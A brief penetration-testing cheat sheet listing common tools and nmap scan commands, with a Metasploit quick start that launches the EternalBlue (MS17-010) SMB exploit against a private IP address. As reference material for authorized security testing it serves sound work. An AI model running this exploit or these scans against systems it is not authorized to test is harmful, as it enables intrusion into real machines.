Essential Pentesting Tools

Core toolkit for penetration testing, vulnerability assessment, and security auditing.

Multi-Paradigm Frameworks

Tool	Purpose	Command
Metasploit	Exploitation framework	msfconsole
Burp Suite	Web application testing	burpsuite
Impacket	Network protocol attacks	python3 script.py

Metasploit Quick Start

msfconsole search exploit/windows/smb/ms17_010_eternalblue use 0 set RHOSTS 192.168.1.100 exploit

Nmap Essential Scans

Basic scan

nmap 192.168.1.1

Service version detection

nmap -sV 192.168.1.1

Aggressive scan

nmap -A 192.168.1.1

Full port range

nmap -p- 192.168.1.1

Stealth scan

nmap -sS 192.168.1.1